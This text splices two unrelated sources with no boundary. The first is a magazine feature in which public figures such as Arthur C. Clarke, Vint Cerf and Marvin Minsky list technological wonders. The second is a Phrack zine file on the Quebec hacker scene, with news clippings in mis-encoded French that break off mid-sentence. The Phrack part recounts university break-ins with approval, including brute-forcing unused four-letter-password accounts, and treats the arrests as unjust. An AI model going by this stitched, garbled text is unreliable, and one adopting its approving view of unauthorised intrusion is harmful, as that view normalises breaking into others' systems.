I nominate nanotechnology and K. Eric Drexler of the Foresight
Institute for expanding the boundaries of collective restraints on
"reality" through the development of Nanotechnology.
Nanotechnology will profoundly alter life as we know it by direct
manipulation of the structure of matter at the atomical level.
Drexler proposes achieving this by using self-replicating molecular
machines or nanomachines that will be small enough to arrange
individual atoms. -- Candice Pacheco



Pacheco is a founding member of D'Cuckoo, the Neo-classical, post-
industrial, cyber-tribal world funk music ensemble.



Apple's Macintosh
^^^^^^^^^^^^^^^^^

My candidate would be Apple Computer's user friendly computer. It
seems to me that the use of personal computers made a giant leap
when Apple came forward with their first computers. In our
business, we have seen people who you would guess would never
touch a computer, fall in love with the Apple architecture.

If Stephen Job hadn't come up with the idea of making the computer
easily fun to use, I think we would be five to ten years behind
where we are today. -- Gary Ames



Ames is President and CEO of US West Communications, Inc., the
Baby Bell operating in Colorado.



Self-Cleaning Garlic Press
^^^^^^^^^^^^^^^^^^^^^^^^^^

I believe the self-cleaning garlic press to be one of the major
advances in civilization. What do you think -- will it make the
list? -- Molly Ivins



The author of Molly Ivins Can't Say That, Can She? is a nationally
syndicated columnist for the Fort Worth Star-Telegram.







In the Eyes of Other Wired Thinkers
***********************************

Aurthur C. Clarke
^^^^^^^^^^^^^^^^^

Here are my quick 7 wonders: microchips, Mandelbrot Set, Concorde,
Saturn U., camcorder, laser, Scanning Electron Microscope. --
Arthur C. Clarke



In 1945, 28-year-old Arthur C. Clarke proposed the geosynchronous
(now Clarke) orbit, and anticipated the era of communication
satellites. His books include Childhood's End, 2001: A Space
Odyssey and The Hammer of God.



Vint Cerf
^^^^^^^^^

Magnetic Resonance Imaging One of the most significant advances in
non-invasive diagnostic technology created thus far. The ability to
image soft tissues in three dimensions has transformed surgery,
internal medicine, prosthetics design and orthopedics.
The Scanning Tunneling Microscope The ability to image individual
atoms has changed the way we think about solid state physics,
physical chemistry and related fields.

The Pioneer Spacecraft These have left the solar system and are out
in galactic space -- the farthest the arm of mankind has yet
reached. -- Vint Cerf



Dr. Cerf became President of the Internet Society in 1992. He
received the EFF Pioneer Award earlier this year.


Richard Saul Wurman
^^^^^^^^^^^^^^^^^^^

In the last hundred years, the dreams of the previous 7,000 years
have begun to be fulfilled. Perhaps this is what the poet Robert
Graves meant when he talked of "the waking dream." For me, "the
waking dream" is the extension of my abilities and senses as an
enriching part of my life. My mouth and my ears, my voice and what
I hear, the extension of conversation that the telephone has given
us, this is the first wonder that comes to mind.

Wonder Number Two, a much more recent wonder, is an attachment
to the telephone -- the fax.

Our ears and our eyes are filled by the waking dream-like
inventions of radio, cinema and television for wonders 3, 4 and 5.

The first two wonders concern location and the second three relate
to interest, understanding and entertainment. The third group has
to do with dissemination of information in real time with real
copies. These are the Xerox machine, USA Today and CNN, which give
you the world, th enews, and have created a world network of
events.

The last wonder is the Personal Digital Assistant (PDA). It will
include television, tape recorders, Camcorders, the newspaper, a
message system, a memory and a walking library of information.
With the eventual advent of a forty-hour battery it will allow us
knowledgeable ability and communication that truly is the waking
dream and the wonder of this century.

None of the above ideas are particularly esoteric. They're not a
particular chip or parallel computer system. Rather, they're the
things that take the parts of our bodies and give them the better
size, speed and acuity than we ever though possible. -- Richard
Saul Wurman



Richard Saul Wurman is an 'information architect' whose credits
include the Access Guidebook series and the creation of the TED
(Technology, Entertainment and Design) conferences.



Marvin Minsky
^^^^^^^^^^^^^

The most astonishing techno-wonder is not a thing at all, but an
idea. It is Alan Turing's incredible discovery, in the 1930s, that
all computers are equivalent -- that they all have the same
inconceivably wide range of capabilities, provided that they can
read and write into memory and do a few simple operations that
depend on what they have just read.

Turing foresaw that this was no mere mathematical curiosity. It is
the reason why we can have so many different "programming
languages" for the same personal computer -- and for why we can
use one and the same programming language for so many different
computers.

Today there are only a few billion computers on our planet (all but
the most expensive wrist-watches contain one), but I'm sure that at
some point in the next century, the average person will wear an
inconspicuous appliance containing some trillions of them. What
services will they provide us with? Probably, things that no one
living today has even started to imagine.

Also, The Vacuum Tube triode, which opened the world of
electronics.

The invention of PCR process for "amplifying" a single molecule of
DNA.

The invention of the ATM -- Atomic Force Microscope -- that enables
a person to "feel" the shape of a single molecule, and
The effect of broadcast television in "dumbing" most of the world's
population by providing them with idiotic models. -- Marvin Minsky

A pioneer in the field of artificial intelligence, Minsky is a
professor at MIT and author of Society of Mind.



Francis Ford Coppola
^^^^^^^^^^^^^^^^^^^^

Assuming they are of all time, my list would include, in no special
order: Alternating current -- Tesla Interchangeable parts --
Remington, Ford, Telephone, Radio, Television -- Bell, Meucci,
Marconi, Zworkin, Farnsworth. Random-access disc Personal
computers -- Brabbage and hundreds of others. The Aeroplane --
many contributors Optics: The telescope -- microscope (Galileo,
Leew? -- can't spell it) the Cyclotron (Lawrence) The Motion
picture (Edison, Lumiere). The Nuclear Reactor -- Fermi Rocketry --
Goddard.

I've left out the old chestnut such as the wheel, printing press,
etc.
These come to mind, I can't think now what I've omitted in
agriculture and medicine. Pick you favorite seven.

Very often in our history of art we find that a form already does
something in the mind of the audience and then technology comes
along and enables it to actually be done. I think silent films
always had sound. Then technology came and actually gave us sound
and suddenly it was a burden and a blessing. It's always a blessing
in terms of a new thing that earns a lot of money. Sometimes it was
a burden in that it didn't evoke sound as well as when you didn't
have the sound.

The novel and the drama always had the cinema. You could read a
novel; you read Madame Bovary and it was sort of like a movie but
it was mixed in your mind. And then technology came along and
enabled it to really happen.

The same with color during the black and white era; where these
new technologies come along and gave something that was always
there by suggestion, by art. Now, with the advent of personal
computers and the random access disc, technology once again is
going to give us something that art has always aspired to and has
always done. -- Francis Ford Coppola



Producer/Director Coppola's films include Apocalypse Now, The
Godfather and Bram Stoker's Dracula. He will soon produce Kenneth
Branagh's Frankenstein.



Michael Kleeman
^^^^^^^^^^^^^^^^

The Internet -- the global democratic electronic communication
network.

Making available a "real-time" library without walls, with
electronic messaging, to millions, and in the future billions.While
the global transport network provides the backbone for
communicationa, the Internet has created the electronic community
among 15MM people (today) and in the future possibly billions. What
separates the Internet from a basic transport network are its
resources and wide scale public action to information sources.
Additionally its cooperative nature (controlled by a democratic
committee of multinational origin) and critical support for the
academic and government infrastructure of many nations (from the
United States to Russia), make it a technological wonder of major
social proportions.

Satellites -- Remote sensing and positioning
Changing how we see ourselves on spaceship earth.

While communications satellites have been supplemented and will be
largely replaced by fiber optic communications (for most
applications in all but the most remote areas), satellites for
remote land (and water) sensing and global positioning have changed
forever how we look at our world. Like an airplane with an
unobstructed view satellites permit us to see ourselves and the
impacts of our actions in real time on a global scale. With luck,
they will give us the knowledge to save our planet, and ourselves.

Digitization of information -- changing information content from
"natural" analog formats to one which can be manipulated more
easily by machine
Virtually all information in nature is analog in form (even quantum
particles like light have analog wave attributes). Yet we have
developed the means to transform (to convert) these analog data to
a digital format which allows manipulation of the data by digital
computers. This has changed the entire way we deal with
information, from voice phone calls to CD based music and even
newer forms of entertainment, enabling almost all of what we now
think of as electronic.

What is perhaps more critical is that having done this once, it is
reasonable to expect that we will again effect yet enother
transformation creating another non-native representation of
information.

Stored program control machines -- computers, phone switches,
embedded controllers in cars, planes, etc.

The Von Neumann machine capable of being changed by the
programming logic provided to it, and changed again by new
programs. -- Michael Kleeman



Michael Kleeman is a Bay Area computer and communications
consultant specializing in future telecommunications trends.



Tod Machover
^^^^^^^^^^^^

When I thought of your challenge, people rather than specific
inventions came to mind. I guess that this says something of my own
view of men and machines.

Marvin Minsky: Minsky can be considered the father of artificial
intelligence and also what might be thought of as computational
psychology. His book, Society of Mind, has already led to a new
generation of massively parallel computers and of autonomous agent
software. His decentralized view of the mind -- coming,
paradoxically, from machine architecture -- will be as influential
to our general view of psychology as Freud's theories were at the
beginning of the century.

John Cage: Cage, who died this past year, considered himself to be
as much an inventor as composer. His fundamental goal in life was
to expand the boundaries of what we consider to be music. His
accomplishments and innovations include the first electronic
concert music, first "prepared" piano, first "chance" music, first
opera composed by computer, etc. Cage made it possible to imagine
art forms that would be truly different, and not just rehashes of
old ideas and forms. He truly believed that art could transform
society, and in proving it he became one of the

  
greatest, if
gentlest, revolutionaries of our time.

Max Mathew: Mathews can be considered the Father of Computer
Music. He was the first person to use a digital computer to produce
sound, and established the principal of software "unit generators"
on which all subsequent electronic music has been based (including
all current MIDI synthesizers and samplers). His GROOVE system from
the 1960s was probably the first gesture-controlled musical
instrument; his signal processing work work with Hal Alles in the
1970s produced the world's first real-time digital synthesizer; his
electronic violin from the 1970s was the first non-acoustic string
instruments; his Radio Drum from the 1980s is probably the most
sophisticated three dimensional gesture-oriented musical interface
to have yet been invented. - Tod Machover



Machover is head of the Music and Physics group at the MIT Media
Lab.



Wes "Scoop" Nisker
^^^^^^^^^^^^^^^^^^

Chopsticks This was the breakthrough that set humans apart from
other animals. All of civilization proceeds from there.

The Meditation Bench This recent invention allows stiff-legged
Westerners to sit relatively comfortably in meditation and come to
an understanding of their overblown sense of self. Anything that
contributes to the shrinking of the individual ego and the many
entrapments thereof, is the revolutionary tool we most need.

Gloves Without gloves, humans who inhabit temperate climates --
the most nervous and inventive of our species -- would have frozen
their thumbs off. And heaven knows where we would be today
without thumbs. - Wes "Scoop" Nisker



Nisker is a radio commentator, meditation teacher and the author of
Crazy Wisdom (Ten Speed Press). His next book, The Millenium and
Me, will be published in 1994.



Jeff Greenwald
^^^^^^^^^^^^^^

Automatic Teller Machines Utterly essential yet doomed to
obsolesence, ATMs serve as the awkward, endearing transition
between the cash economy and the era of global microchip money.
One day they'll be as extinct as the slide rule; in the meantime,
we can't live without them.

Camcorders The casual but comprehensive video documentation of
life on Earth, now underway, is the first collective art endeavor
ever undertaken by the human race.

Cordless Microphones Seeing Springsteen on David Letterman
convinced me; although it's kind of sad to see those signature
wrist-flips, rope-jumps and lassoo spins go the way of the Rhodes
piano.

Personal Laser Printers Ten years ago, typesetting seemed like a
form of alchemy. I remember the endless trips back and forth to the
local graphics shop, the gigantic typesetting machines; the weird
plasticky text that had to be run through a waxer and painstakingly
aligned on the layout board. I remember when everything I wrote
was in Times, Courier,or dot-matrix, and when seeing actual italics
in a term paper or thesis provoked gasps of admiration and envy.
SPF15 Sunblock It was only a matter of time before human beings
realized that they require the same tough, long-lasting protection
that their wooden decks and patio furniture do. I only hope that
the UV radiation pouring through the ever-expanding ozone hole
doesn't eventually mutate insects to the point where we have to
coat ourselves with the equivalent of creosote as well. -- Jeff
Greenwald



Jeff Greenwald, author of Shopping for Buddhas (Harper Collins),
conceived and edited Techno-Wonders. He is a frequent contributor
to WIRED.



Douglas Coupland
^^^^^^^^^^^^^^^^

Lunch on the Concorde: Glamour, stars, and speed: the embodiment of
the 20th Century. Ghosts of Andy Warhol and Halston said to haunt
seats 3A and 3B. Liza's still around.

Added Bonus--Can't last much longer -- imminent doom can only
enhance the glamour.

CNN/MTV: The closest as a species we've come yet to having a family
dinner-table conversation.

Added Bonus--Very little of the psychodrama that normally
accompanies family dinners.

Eastern Bloc Nuclear Reactors: Simply because none of them have
exploded yet. Chernobyl was a burb.

Added Bonus--The exciting, tingly feeling waiting for it to happen.

Lego Satan's playtoy: These seemingly "educational" little blocks
of connectable fun and happiness have irrevocably brainwashed
entire generations of primarily G7 youth into developing mindsets
that view the world as unitized, inorganic, interchangeably
modular, and populated by bland limbless creatures with cutishly
sweet smiles.
Responsible for everything from postmodern architecture to middle-
class anal behavior over the "perfect lawn" (symbolic of the green
plastic base pads).

Added Bonus--No bonuses here. Lego must die.

Home VCRs/Remote Control Devices: Have done more damage to
human attention spans on a day-to-day level than three decades of
network TV combined, thus boldly preparing humanity for the ultra
information-dense world of the 21st Century.

Added Bonus--Channel surfing is indeed fun.

Cocoa Puffs: To eat a bowl of extruded cocoa-tinted corn byproduct
nodules "endorsed" by Sonny the Cocoa Puffs Bird -- a form of
secular transubstantiation -- yes or no? As a product category,
pre-sweetened breakfast cereals more than most others typify the
way in which a secular technological culture sublimates its
religious impulses into consumer ones.

Added Bonus--Fond memories of the Trix Rabbit and Lucky the
Lucky Charms Leprechaun. -- Douglas Coupland



Timothy Leary
^^^^^^^^^^^^^

I enclose a brief, businesslike, nerdy, superficial list of
High-Tech Wonders. They all have to do with information --
media-brain-operation.

The Transistor

The Laser

Fibre-Optics

Personal Computers: Apple 2C and descendents

Video Games which trained the new Nintendo Generation to move
things around on screens thus accelerating their RPM (Realities Per
Minute) to light-speed.

Television-Cable of course.

Psycho-Active Neuro-Transmitting Drugs

Question: Do Nuclear Fission and the Printing Press and Marconi's

Radio, the light bulb, films and the Interpersonal Telephone belong
to the "Modern Mechanical World"?

Question: What and when are the Post-Modern Ages? I don't think
that we can fabricate a linear list of wonders for the Information
Age.

The Ancient wonders were Monuments produced by a Totalitarian
Theocracy and manual slave labor. The Philosophy (the meme
system) was Feudal. Glorify the Patron, the Pharos, Popes, Kings.

There were no practical benefits for the people. The philosophy and
literature were theological. St Thomas, G Dante, St. Augustine. The
Ancient Artists are remembered and honored. Titian, Michelangelo,
Raphael, The Greeks.

The Modern Wonders were produced in the Industrial Age
Engineering and involved a complex "class-caste" system. The
Philosophy was Mechanical. Newton-Darwin. Some of the products
glorified the owners. But they also served passive users and
equipped individual operators. Should we humanize by listing the
Modern Mechanical Wizards. Architect Frank Lloyd Wright, Thomas
Edison (in spite of his cocaine addiction), the Wright Brothers,
Henry Ford (in spite of his political nuttiness), Graham Bell,
Marconi, Tesla?
This humanizes modern technology and offers eccentric role models.

The High-Tech Wonders provide a chaotic paradox. The technologies
change so quickly. The Ancient Wonders were constructed over a
period of 3000 years. The Industrial Age lasted around 300 years.

The Roaring 20th Century has produced at least three Ages defined,
following McLuhan, by the media: Wonders of the Electronic Age
(1900-1950) -- home lighting, radio, electric home appliances by
the score; Wonders of the Electronic Age (1950-1980) -- Main
Frames, minis, TV, cable, FAX, satellites, Remote Control; Wonders
of the Digital Age (1980-2000) -- PC's, modems, video games,
multi-media, Digital Home Appliances, CD-ROM, CD-RAM, etc. To
humanize this chaos we should praise the wizards: Gates, Jobs, etc.
And the philosophers: Marshall McLuhan, William Gibson, Brenda
Laurel, Mondo 2000, Wired.

Thanks for giving me an excuse to poke lovingly around this
delightful chaos. -- Timothy Leary



Mae Jemison
^^^^^^^^^^^

Koch's Postulate maintains that for any given infectous disease
that there is one microorganism (bacterium, virus, membrane,
parasite, slow virus, etc.) that causes the ailment; and to prove
that a specific agent causes the disease one must take that
specific organism and cause the same ailment in another person.

Silicon Besides carbon there is probably no one atom that has had
a more versatile role in the life of humans. Today it is used for
applications ranging from the basic ingredient to make the Pentium
Chip to leg calf implants for cosmetic purposes. It's some neat
stuff.

Voyager 1 and 2 These two satellites have gone outside of the solar
system, one out of the ecliptic plane and the other past Neptune
(it is closer than Pluto is now), represent the first purposeful
heralding of the presence of humanity to the rest of the universe.
Voyager represents the greatest achievement of space exploration to
date -- even bigger than the moon landing. And the Voyagers are
still talking to us.

Bell Laboratories actually did exist, but now it is no more. From
this techno-wonder research institute came the transistor,
fiber-optics, a machine that measures lead poisining in children
with just a drop of blood, and even Nobel prize winning studies on
the Big Bang Theory of the creation of the universe. This entity
developed the telephone switching systems which are in large part
responsible for our ability to transfer information from one
location to another at close to the speed of electromagnetic
radiation.

The elucidation of the structure of hemoglobin S as the cause of
sickle-cell disease. With this one event Linus Pauling demonstrated
that the structure of protein molecules was so important to their
function that the mere substitution of one amino acid for another
could cause radically different function and disease. Even though
the mechanism of DNA replication came later and is more popular, it
is the fact that DNA codes for protein structure that makes DNA
important.

Talking primates in laboratories around the world. Whether the
communication is via sign language or lexicons on a board, this
research demands that we humans re-evaluate all our co-inhabitants
here on Earth.

Personal Computers have caused a total reordering of the workplace
and its productivity (whether better of worse remains to be seen).
As multi-media matures much of entertainment and information
transfer will occur via computers. Internet and all the computer
networks exists not because of large mainframe computers but
because of the PC. - Mae Jemison


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==Phrack Magazine==

Volume Four, Issue Forty-Four, File 26 of 27

*****************************************************************

International Scenes

There was once a time when hackers were basically isolated. It was
almost unheard of to run into hackers from countries other than the
United States. Then in the mid 1980's thanks largely to the
existence of chat systems accessible through X.25 networks like
Altger, tchh and QSD, hackers world-wide began to run into each
other. They began to talk, trade information, and learn from each
other. Separate and diverse subcultures began to merge into one
collective scene and has brought us the hacking subculture we know
today. A subculture that knows no borders, one whose denizens
share the common goal of liberating information from its corporate
shackles.

With the incredible proliferation of the Internet around the globe,
this group is growing by leaps and bounds. With this in mind, we
want to help further unite the communities in various countries by
shedding light onto the hacking scenes that exist there. We have
been requesting files from people to describe the hacking scene in
their country, but unfortunately, more people volunteered than
followed through (you know who you are.) This issue we want to
introduce you to the scenes in Quebec, Sweden and Israel.

*****************************************************************


What is going on in the 418 scene
By Gurney Halleck of NPC


Believe it or not, there are hackers and phreakers in the
418 AC and people are just starting to hear from us. There are
only two real H/P BBS in Quebec City, The Workshop and Miranda BBS.
The first one is a NPC hang out (Northern Phun Co.), a local
Hacker/Phreaker group that has a certain fame, just read Phone
Pirates, a recent book by two Toronto journalists....
The other one is considered a little bit lame by some. Personally,
I am friends with the sysops, they're not real hackers, but
generally nice guys.
Here are some names you might have seen in the H/P scene,
Blizkreig, SubHuman Punisher, KERMIT, Atreid Bevatron, Coaxial
Karma, Mental Floss, Fairy Dust, Evil-E, Black Head, Santa Claus,
Blue Angel Dream, myself of course and probably many more I have
forgotten to mention. (sorry)

NPC Publishes a monthly magazine and will be celebrating
their first anniversary on November 1st 1993. They have been on
national TV and press for breaking into the computer of the prime
minister's cabinet.

In 418, there is only one Internet Node, at Laval
University, and to get a legal account on one of their systems, be
ready to shell out 90$ a month.
No kid can pay that much, so that's why there are so many hackers.
They hack anything from old VAX/VMS machines to brand new Suns and
Datapac and Edupac.

Back in April of 1993, a hacker, Coaxial Karma, was
arrested for trying to "brute force" into saphir.ulaval.ca, a
cluster VAX/VMS. He was working from information from another
hacker, myself, that there were many "virgin" accounts
(account that were issued but never used) and that these accounts
all had a four letter (just letters) password. So he proceeded to
brute force the computer, after 72000 tries, he finally got in. An
operator, entirely by chance, found the logs for the 72000 failed
logins for one account on saphir, an proceeded to call the police.
The hacker, being a juvenile, got by easily, not even loosing his
computer.

On September 30th, another hacker, SubHuman Punisher, was
arrested by the RCMP. It all started a long time ago, when people
started hacking into Laval University's systems. First, they
installed a password on their terminal servers, just one password,
the same for everybody! Needless to say, everybody knew it.
Second, most sys-admins knew next to nothing about security, so
when they found intruders, they could not keep them out.
Enter Jocelyn Picard, sysadmin of the GEL subdomain and security
expert. He does his job and does it well. He kicked them out for
a long time. (I personally do not think it was his idea to call the
RCMP.)

After a while, the hackers where back with a vengeance and
using Laval's systems to hack other systems. So the guys from the
CTI (Centre de Traitement de l'Information) decided to call the
authorities. Bell monitored the phone lines from Sept 16th to Sept
30th. Systems in the ERE hierarchy in the umontreal.ca domain were
also logged for Internet activity. On the 30th, 2 hackers where
arrested. Both of them, their only crime was wanting to be on the
internet. Now is that so bad?

I only knew one of the two, SubHuman Punisher, so I'll tell
you what happened to him. He was charged with theft of
telecomunications (that charge as been dropped) and for illegally
using a computer. A new charge as been added after they drop the
first one: copyright infringement. All his equipment was taken
away. We don't think he'll get by as easily as the first
electronic martyr of 418 (as we like to call him). This time it
looks serious. So we at NPC have started a relief fund for his
legal defense, The "Fond de Defense SubHuman Punisher" ( the
SubHuman Punisher defense fund).

All contributions are welcomed, write to:

FDSP
886 St-Vallier St. app 7
Quebec City, Qc
Canada, G1K 3R4

*****************************************************************

-----------------------------------------------------------------

úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú

-----------------------------------------------------------------

Read the news don't believe the Hype

By

Paranoid and The PoSSe


---------------------------

Newsgroups: ulaval.unix-ul
From: Marc Blanchet <blanchet@fsg.ulaval.ca>
Subject: Communique de la GRC concernant des perquisitions
Organization: CTI, Universite Laval

Bonjour,
voici le communique de presse de la GRC concernant des
perquisitions effectuees. Marc.

------------------------------------------------------------------
OPERATIONS G.R.C. - PIRATES

Le 30 septembre 1993, les agents de la G.R.C., section Crime
Informatique, de Montreal et de Quebec ont procede a deux
perquisitions simultanees l'une dans une residence de Ste-Foy et
l'autre a Sillery, concernant l'utilisation non autorisee d'un
ordinateur appartenant a l'Universite de Montreal.

Ces perquisitions sont le resultat d'une collaboration entre
l'Universite de Montreal, L'Universite Laval a Quebec, le groupe de
la surete de Bell Canada et la G.R.C. Grace aux nouvelles
technologies numeriques, le depistage de ces entreees par
effraction contre des systemes informatises est grandement
facilite.

L'enquete d'une duree de deux semaines visait le domaine de la
piraterie informatique, c'est-a-dire le vol de telecommunications,
l'utilisation non autorisee d'un ordinateur ainsi que des mefaits
concernant des donnees.

Ces trois activites contreviennent aux Articles 342.1 et 326.1 et
430(1.1) du Code Criminel. L'enquete visait egalement des
infractions en vertu de la Loi sur le Droit d'auteur.

C'est bien connu parmi le milieu informatique que les pirates
informatiques essayent d'obtenir les codes d'acces et les mots de
passe en utilisant des moyens detournes.

Les suspects de cette enquete ont ete identifies toutefois, aucune
accusation n'a ete deposee. L'enquete se poursuit.

-----------------------------------------------------------------
Marc Blanchet | telephone: 418-656-3559
Coordonnateur a l'informatique | telecopieur: 418-656-5902
Fac. Sciences et Genie |
Pouliot 1100 |
Universite Laval |
Internet: Marc.Blanchet@fsg.ulaval.ca
Quebec, Quebec, Canada |
G1K 7P4 |
------------------------------------------------------------------

[Atreid- Ah! L'enquˆte se poursuit qu'il dit. C'est la phrase cl‚
que les coches utilisent pour dire, en clair, que l'affaire est …
peu prŠs close, qu'elle n'avance pas, qu'ils sont pay‚s … ne rien
faire, etc.]

- 30 -



Leeched from POPULAR SCIENCE - D‚cembre 1993

LIFE IN THE V.FAST LANE

par Jon Pepper

How fast is fast enough? For modem users, the need for speed
seems boundless - especially with the size of data files
continuously getting larger. But the wait for the long-delayed
next generation of faster modems appears to be over.

For more than two years now, an international committee that
sets telephone equipment standards [CCITT] has debated the detail
of a new modem benchmark known as V.Fast (pronounced
vee-dot-fast). The V.Fast standard still has not arrived
officially, but an interim standard for V.Fast-class (or V.FC)
modems has. These new modems pump data over phone lines at speeds
up to 28,800 bits per second - fully twice the base transmission
speed of the current 14,400-bps (or V.32bis) standard. These
modems still use conventional phone lines, and provide high-speed
fax capabilities too.

You must have a V.FC-compatible modem at both ends of the
line to achieve top speeds, but V.FC modems will work with older
modems at slower speeds.

A variety of modem makers, including Hayes, U.S. Robotics,
and Practical Peripherals, have said they intend to sell new V.FC
modems, or upgrade existing ones, very soon. Rockwell, the
leading supplier of chips for modems, began shipping the parts
needed to make these high-speed modems this fall. In the
meantime, some companies are offering their own solutions.
Motorola's Codex 326XFast-SDC modems, for example, use a unique
encoding scheme that the company claims can yield speeds as high
as 115,200 bps.

The final V.Fast standard is expected in 1994. Maybe.


[Paranoid- Peut-ˆtre que cet article va mettre fin … des rumeurs
ridicules qui courent un peu partout concernant le V.Fast...]

- 30 -


Leeched from POPULAR SCIENCE - D‚cembre 1993

INTERNET COMES TO CABLE TV

par Suzanne Kantra

The sprawling Internet network has been touted as the
precursor to an electronic superhighway, providing a means of
accessing vast amounts of information and a global electronic
mail system. To date, however, this mother of all networks has
been used principally by university researchers, government
agencies, and large companies. But it may soon be coming into
your living room.

Continental Cablevision, the third largest cable-TV company
in the United States, plans to deliver Internet to you through
the cable outlet in your home. Using a special modem plugged into
your cable outlet, you'll be able to dial directly into Internet.
In addition to letting you access resources such as the Library
of Congress card catalog and the National Weather Service's
satellite images - and more than 10,000 other data banks - cable
TV links promise broadcast-quality video and CD-quality audio.
And information could be delivered at rates as high as 10 million
bits a second [Mbps], compared to about 14,000 for today's best
modems.

Internet isn't the only computer network that's likely to
appear on your TV screen. Prodigy, the nation's largest online
service, recently announced that it is attempting to get cable TV
companies to carry its mix of e-mail, information, education, and
entertainment options. Other services, including CompuServe and
America Online, say they may do the same.

The chief drawback to Continental's plan may be cost. Some
Internet services are available on a pay-for-usage basis, and the
resulting charges could make your cable bill soar as high as $100
a month. But there are less costly ways to tap into Internet -
many e-mail systems send messages through the network - and there
may soon be ways to explore it for free.

One of the first free, public entrance ramps to Internet
opened this fall in Morris County, New Jersey. Created by Bell
Communications Research, MoreNet (Morris Research and Education
Network) is a group of computer terminals placed in public and
academic libraries, enabling anyone to access the Internet
system. Although MoreNet users cannot access Internet's e-mail
and commercial services, most of its academic, government, and
national data banks will be available.


[Paranoid- Bon! Enfin une bonne raison de hacker le Videoway ;-)]


- 30 -


Leeched from LE JOURNAL DE QUBEC - Samedi 10 octobre 1991

LE PIRATAGE: UNE PRATIQUE RPANDUE

par Yves Th‚riault

L'importante saisie de systŠmes d'exploitation d'ordinateurs
effectu‚e par la GRC dans les quatre succursales de la compagnie
Microbec, plus t“t cette semaine, n'a guŠre surpris les experts
de la vente informatique au d‚tail, industrie o— tous les moyens
sont bons pour conserver ou augmenter sa part de march‚.

Il n'en demeure pas moins que cette nouvelle a eu l'effet
d'une bombe dans le milieu de l'informatique. L'annonce de la
perquisition de mercredi, une des plus importantes jamais
r‚alis‚e au Qu‚bec (environ 300 000$ de mat‚riel), s'est r‚pandue
comme une traŒn‚e de poudre … travers l'est de la province.

®Qu'ils soient de Thetford Mines ou de Baie-Comeau, tous mes
clients n'avaient que ce sujet de conversation. Ils voulaient
davantage d'informations sur cette affaire¯, a confi‚ un
repr‚sentant oeuvrant pour un concurrent de Microbec.

Ce mˆme informateur, qui a demand‚ de taire son identit‚, a
confirm‚ ce que le journal avait avait appris de diverses autres
sources, … savoir que le piratage de logiciels ‚tait une pratique
r‚pandue dans cette industrie. ®La concurrence est tellement
f‚roce entre les d‚taillants que la plupart d'entre eux n'ont
d'autre choix que d'emboŒter le pas.¯

®Je ne suis absolument pas surpris que Microsoft ait port‚
plainte, a d‚clar‚ un autre intervenant. Ces dernier temps, il y
avait des compagnies qui allaient vraiment trop loin.¯

Il semble que ce soit surtout les compagnies se sp‚cialisant
dans la vente de produits compatibles, commun‚ment appel‚s
"clones" et destin‚s au consommateur priv‚, qui usent le plus de
pratiques douteuses. ®Celles qui distribuent les produits des
marques reconnues, comme IBM, ou qui s'adressent … une clientŠle
institutionnelle ne peuvent se permettre de tricher¯, a expliqu‚
un repr‚sentant.

Les personnes consult‚es ont aussi fait remarquer que le
piratage des logiciels ne serait pas une pratique aussi r‚pandue
sans le consentement tacite et, dans une certaine mesure, la
complicit‚ des utilisateurs. ®Quand un client achŠte un systŠme
d'exploitation d'ordinateur accompagn‚ d'un logiciel dont le
guide d'utilisation est photocopi‚ ou d‚j… usag‚, il sait
pertinemment qu'il s'agit d'un logiciel pirate.¯


- 30 -


Leeched from LE JOURNAL DE QUBEC - Mardi 20 mars 1990

DES LOGICIELS PIRATES EN USAGE DANS LE RSEAU DES AFFAIRES
SOCIALES

par Michel Marsolais

MONTRAL ÄÄ Au moins six intstitutions du r‚seau des affaires
sociales sont en possession de copies ill‚gales d'un logiciel
am‚ricain utilis‚ dans les systŠmes de paie. Au cours d'une
v‚rification, six ‚tablissements, dont trois CLSC, pr‚sentaient
des logiciels BLAST avec des num‚ros de s‚rie identiques.

La v‚rification a ‚t‚ faite … la suite d'all‚gations d'un
ex-employ‚ de Logibec, la firme qui a install‚ ces logiciels chez
les clients en question. Sur dix ‚tablissements joints, six
pr‚sentaient le mˆme num‚ro de s‚rie, soit le 0396740010.

Quant aux autres ‚tablissements interrog‚s, un centre
d'accueil a refus‚ de r‚pondre, deux affirment ne pas ˆtre en
possession du logiciel en question et un CLSC pr‚sentait un
num‚ro diff‚rent.

Un num‚ro de s‚rie unique doit obligatoirement ˆtre fourni
par le d‚taillant avec le logiciel pour prouver qu'il s'agit d'un
m‚dia original. La GRC a ‚t‚ saisie du dossier, vendredi dernier.

Les ‚tablissements dont les num‚ros de s‚rie du logiciel
BLAST ‚taient identiques sont le Service de r‚adaptation du
Sud-Ouest, … Chƒteauguay, le CLSC la Saline, … Chandler, le CLSC
Mitis, … Mont-Joli, le Centre d'accueil Longueuil, le Centre
hospitalier Sherbrooke et le CLSC l'Estuaire, … Rimouski.

BLAST est une entreprise de Baton Rouge, en Louisiane, dont
le logiciel est largement utilis‚ au Qu‚bec pour la paie. Le
logiciel en question se d‚taille autour de 995$ US, soit environ
1300$ CA chacun.

Bien que l'entreprise de Baton Rouge reconnaisse que chaque
client devraiit poss‚der un num‚ro de s‚rie diff‚rent, le
vice-pr‚sident, M. Ted Bordellon, n'a pas voulu commenter la
situation pour le moment, mais l'a qualifi‚e de s‚rieuse.

Pointe de l'iceberg?

Au ministŠre de la Sant‚ et des Services sociaux, on ignore
l'ampleur du ph‚nomŠne, car chaque institution est responsable de
ses achats … l'int‚rieur de son cadre budg‚taire. ®Nous ne
faisons que donner l'autorisation pour ce genre d'achat¯, assure
Lauriane Collin, du ministŠre. Il s'agit toutefois d'un secret de
Polichinelle que plusieurs utilisateurs - y compris des
fonctionnaires gouvernementaux - emploient des logiciels copi‚s,
mˆme si c'est parfois … leur insu.

L'entreprise Logibec avait fait l'objet d'une perquisition
de la GRC, en f‚vrier [1990], relativement aux all‚gations de
piratage du logiciel Progress. Aucune accusation n'a cependant
encore ‚t‚ port‚e.


- 30 -


Leeched from LE SOLEIL - Mercredi 13 octobre 1993

SURVEILLANCE LECTRONIQUE CONTRE LE PROGRES CIVIQUE?

par Robert Fleury

QUBEC ÄÄ Le bureau des conseillers de l'opposition se croit
victime de surveillance ‚lectronique … l'h“tel de ville. Une
lettre sera adress‚e en ce sens au directeur g‚n‚ral Denis de
Belleval.

®Cela fait un certain temps que nous avons des doutes. Quand
nous r‚pondons au t‚l‚phone, nous entendons parfois des d‚clics
suspects. Nous avions un document trŠs confidentiel dans un
classeur barr‚ … clef et le classeur ‚tait ouvert quand je suis
entr‚e ce matin. Mais le pire, c'est que nous avons d‚couvert 12
